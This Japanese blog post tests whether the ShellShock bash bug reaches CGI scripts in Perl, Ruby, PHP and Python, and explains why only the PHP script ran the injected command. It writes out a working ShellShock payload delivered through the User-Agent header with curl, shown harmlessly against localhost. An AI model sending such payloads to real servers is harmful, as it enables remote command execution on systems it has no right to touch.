Ruby
Python
Perl
PHP
Security

ShellShockがCGIに及ぼす影響を少し過大評価していたかも

More than 3 years have passed since last update.

bashの脆弱性(CVE-2014-6271など)によって、PerlやRubyのCGIからsystem関数などOSコマンドを実行するプログラム言語の機能を使うと、 UserAgent などブラウザから送信されたデータが環境変数に格納された状態でbashが起動し、ShellShockが発生するという話が話題になっているが、本当にそうなのか。


実験

次の処理系で実験した。


  • Perl(5.20.0)

  • Ruby(2.1.3)

  • PHP(5.6.0)

  • Python3(3.4.1)


コード

OSコマンドのenvを呼び出して表示するだけのCGI。


Perl

#!/usr/bin/env perl

print "Content-Type: text/html;\n\n";
print system('env');


Ruby

#!/usr/bin/env ruby

print "Content-Type: text/html;\n\n"
print system('env')


PHP

#!/usr/bin/env php

<?php
print system('env');
?>


Python3

#!/usr/bin/env python3

import subprocess

print("Content-Type: text/html;\n")
print(subprocess.check_output('env'))


リクエスト

リクエストは curl で生成。-AUserAgent を指定するオプション。

$ curl -A '() { :; }; echo Hello!' localhost/index_xxx.cgi


結果

全部、環境変数に UserAgent が渡されているものの、echo Hello!が実行されたのはPHPだけだった。

$ curl -A '() { :; }; echo Hello!' localhost/index_php.cgi

Hello!
SERVER_SIGNATURE=
SERVER_PORT=80
HTTP_HOST=localhost
DOCUMENT_ROOT=/Library/WebServer/Documents
SCRIPT_FILENAME=/Library/WebServer/Documents/index_php.cgi
REQUEST_URI=/index_php.cgi
SCRIPT_NAME=/index_php.cgi
__CF_USER_TEXT_ENCODING=0x46:0:0
REMOTE_PORT=50129
PATH=************
PWD=/Library/WebServer/Documents
SERVER_ADMIN=you@example.com
HTTP_ACCEPT=*/*
REMOTE_ADDR=::1
SHLVL=1
SERVER_NAME=localhost
SERVER_SOFTWARE=Apache/2.2.26 (Unix) DAV/2 mod_ssl/2.2.26 OpenSSL/0.9.8za
QUERY_STRING=
SERVER_ADDR=::1
GATEWAY_INTERFACE=CGI/1.1
SERVER_PROTOCOL=HTTP/1.1
REQUEST_METHOD=GET
HTTP_USER_AGENT=() { :
}
_=/usr/bin/env
_=/usr/bin/env%


なぜか

まずPerlとRubyはコマンドの中にシェルのメタ文字がない場合は、シェルを介さずにシステムコールを使ってコマンドを実行する。Pythonの場合はshell=Trueを付けない場合はシェルを起動しない。シェルが起動しないのでShellShockの影響は受けない。

PHPは普通にそのままシェルが立ち上がるようだ。


結論

PHP以外のプログラムなら、systemのようなOSコマンドを実行する関数を利用していたとしても、必ずシェルが呼び出されているわけではないようだ。なので、systemのような関数を使っていたとしても、それが必ずShellShockの影響を受けるわけではないと思う。